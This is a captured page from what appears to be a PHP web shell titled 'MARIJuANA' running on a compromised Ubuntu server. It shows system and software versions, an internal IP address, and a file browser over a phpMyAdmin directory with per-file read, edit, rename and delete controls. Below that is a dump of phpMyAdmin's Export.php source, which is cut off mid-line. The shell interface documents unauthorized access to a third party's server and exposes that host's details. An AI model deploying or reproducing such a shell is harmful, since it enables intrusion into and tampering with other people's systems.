MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/barra_do_choca/public_html/phpmyadmin/libraries/classes/Display/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
ChangePassword.php 6.409 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
CreateTable.php 1.66 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Export.php 26.051 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
GitRevision.php 3.491 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Import.php 3.596 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ImportAjax.php 3.398 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Results.php 201.552 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
REQUEST EXIT
relation = new Relation(); } /** * Outputs appropriate checked statement for checkbox. * * @param string $str option name * * @return boolean */ private function checkboxCheck($str) { return isset($GLOBALS['cfg']['Export'][$str]) && $GLOBALS['cfg']['Export'][$str]; } /** * Prints Html For Export Selection Options * * @param string $tmpSelect Tmp selected method of export * * @return string */ public function getHtmlForSelectOptions($tmpSelect = '') { // Check if the selected databases are defined in $_POST // (from clicking Back button on export.php) if (isset($_POST['db_select'])) { $_POST['db_select'] = urldecode($_POST['db_select']); $_POST['db_select'] = explode(",", $_POST['db_select']); } $databases = []; foreach ($GLOBALS['dblist']->databases as $currentDb) { if ($GLOBALS['dbi']->isSystemSchema($currentDb, true)) { continue; } $isSelected = false; if (isset($_POST['db_select'])) { if (in_array($currentDb, $_POST['db_select'])) { $isSelected = true; } } elseif (!empty($tmpSelect)) { if (mb_strpos( ' ' . $tmpSelect, '|' . $currentDb . '|' )) { $isSelected = true; } } else { $isSelected = true; } $databases[] = [ 'name' => $currentDb, 'is_selected' => $isSelected, ]; } return Template::get('display/export/select_options')->render([ 'databases' => $databases, ]); } /** * Prints Html For Export Hidden Input * * @param string $exportType Selected Export Type * @param string $db Selected DB * @param string $table Selected Table * @param string $singleTable Single Table * @param string $sqlQuery SQL Query * * @return string */ public function getHtmlForHiddenInputs( $exportType, $db, $table, $singleTable, $sqlQuery ) { global $cfg; // If the export method was not set, the default is quick if (isset($_POST['export_method'])) { $cfg['Export']['method'] = $_POST['export_method']; } elseif (! isset($cfg['Export']['method'])) { $cfg['Export']['method'] = 'quick'; } if (empty($sqlQuery) && isset($_POST['sql_query'])) { $sqlQuery = $_POST['sql_query']; } return Template::get('display/export/hidden_inputs')->render([ 'db' => $db, 'table' => $table, 'export_type' => $exportType, 'export_method' => $cfg['Export']['method'], 'single_table' => $singleTable, 'sql_query' => $sqlQuery, 'template_id' => isset($_POST['template_id']) ? $_POST['template_id'] : '', ]); } /** * Returns HTML for the options in template dropdown * * @param string $exportType export type - server, database, or table * * @return string HTML for the options in teplate dropdown */ private function getOptionsForTemplates($exportType) { // Get the relation settings $cfgRelation = $this->relation->getRelationsParam(); $query = "SELECT `id`, `template_name` FROM " . Util::backquote($cfgRelation['db']) . '.' . Util::backquote($cfgRelation['export_templates']) . " WHERE `username` = " . "'" . $GLOBALS['dbi']->escapeString($GLOBALS['cfg']['Server']['user']) . "' AND `export_type` = '" . $GLOBALS['dbi']->escapeString($exportType) . "'" . " ORDER BY `template_name`;"; $result = $this->relation->queryAsControlUser($query); $templates = []; if ($result !== false) { while ($row = $GLOBALS['dbi']->fetchAssoc($result, DatabaseInterface::CONNECT_CONTROL)) { $templates[] = [ 'name' => $row['template_name'], 'id' => $row['id'], ]; } } return Template::get('display/export/template_options')->render([ 'templates' => $templates, 'selected_template' => !empty($_POST['template_id']) ? $_POST['template_id'] : null, ]); } /** * Prints Html For Export Options Method * * @return string */ private function getHtmlForOptionsMethod() { global $cfg; if (isset($_POST['quick_or_custom'])) { $exportMethod = $_POST['quick_or_custom']; } else { $exportMethod = $cfg['Export']['method']; } return Template::get('display/export/method')->render([ 'export_method' => $exportMethod, ]); } /** * Prints Html For Export Options Selection * * @param string $exportType Selected Export Type * @param string $multiValues Export Options * * @return string */ private function getHtmlForOptionsSelection($exportType, $multiValues) { return Template::get('display/export/selection')->render([ 'export_type' => $exportType, 'multi_values' => $multiValues, ]); } /** * Prints Html For Export Options Format dropdown * * @param ExportPlugin[] $exportList Export List * * @return string */ private function getHtmlForOptionsFormatDropdown($exportList) { $dropdown = Plugins::getChoice('Export', 'what', $exportList, 'format'); return Template::get('display/export/format_dropdown')->render([ 'dropdown' => $dropdown, ]); } /** * Prints Html For Export Options Format-specific options * * @param ExportPlugin[] $exportList Export List * * @return string */ private function getHtmlForOptionsFormat($exportList) { global $cfg; $options = Plugins::getOptions('Export', $exportList); return Template::get('display/export/options_format')->render([ 'options' => $options, 'can_convert_kanji' => Encoding::canConvertKanji(), 'exec_time_limit' => $cfg['ExecTimeLimit'], ]); } /** * Prints Html For Export Options Rows * * @param string $db Selected DB * @param string $table Selected Table * @param string $unlimNumRows Num of Rows * * @return string */ private function getHtmlForOptionsRows($db, $table, $unlimNumRows) { $tableObject = new Table($table, $db); $numberOfRows = $tableObject->countRecords(); return Template::get('display/export/options_rows')->render([ 'allrows' => isset($_POST['allrows']) ? $_POST['allrows'] : null, 'limit_to' => isset($_POST['limit_to']) ? $_POST['limit_to'] : null, 'limit_from' => isset($_POST['limit_from']) ? $_POST['limit_from'] : null, 'unlim_num_rows' => $unlimNumRows, 'number_of_rows' => $numberOfRows, ]); } /** * Prints Html For Export Options Quick Export * * @return string */ private function getHtmlForOptionsQuickExport() { global $cfg; $saveDir = Util::userDir($cfg['SaveDir']); $exportIsChecked = $this->checkboxCheck( 'quick_export_onserver' ); $exportOverwriteIsChecked = $this->checkboxCheck( 'quick_export_onserver_overwrite' ); return Template::get('display/export/options_quick_export')->render([ 'save_dir' => $saveDir, 'export_is_checked' => $exportIsChecked, 'export_overwrite_is_checked' => $exportOverwriteIsChecked, ]); } /** * Prints Html For Export Options Save Dir * * @return string */ private function getHtmlForOptionsOutputSaveDir() { global $cfg; $saveDir = Util::userDir($cfg['SaveDir']); $exportIsChecked = $this->checkboxCheck( 'onserver' ); $exportOverwriteIsChecked = $this->checkboxCheck( 'onserver_overwrite' ); return Template::get('display/export/options_output_save_dir')->render([ 'save_dir' => $saveDir, 'export_is_checked' => $exportIsChecked, 'export_overwrite_is_checked' => $exportOverwriteIsChecked, ]); } /** * Prints Html For Export Options * * @param string $exportType Selected Export Type * * @return string */ private function getHtmlForOptionsOutputFormat($exportType) { $trans = new Message; $trans->addText(__('@SERVER@ will become the server name')); if ($exportType == 'database' || $exportType == 'table') { $trans->addText(__(', @DATABASE@ will become the database name')); if ($exportType == 'table') { $trans->addText(__(', @TABLE@ will become the table name')); } } $msg = new Message( __( 'This value is interpreted using %1$sstrftime%2$s, ' . 'so you can use time formatting strings. ' . 'Additionally the following transformations will happen: %3$s. ' . 'Other text will be kept as is. See the %4$sFAQ%5$s for details.' ) ); $msg->addParamHtml( '' ); $msg->addParamHtml(''); $msg->addParam($trans); $docUrl = Util::getDocuLink('faq', 'faq6-27'); $msg->addParamHtml( '' ); $msg->addParamHtml(''); if (isset($_POST['filename_template'])) { $filenameTemplate = $_POST['filename_template']; } else { if ($exportType == 'database') { $filenameTemplate = $GLOBALS['PMA_Config']->getUserValue( 'pma_db_filename_template', $GLOBALS['cfg']['Export']['file_template_database'] ); } elseif ($exportType == 'table') { $filenameTemplate = $GLOBALS['PMA_Config']->getUserValue( 'pma_table_filename_template', $GLOBALS['cfg']['Export']['file_template_table'] ); } else { $filenameTemplate = $GLOBALS['PMA_Config']->getU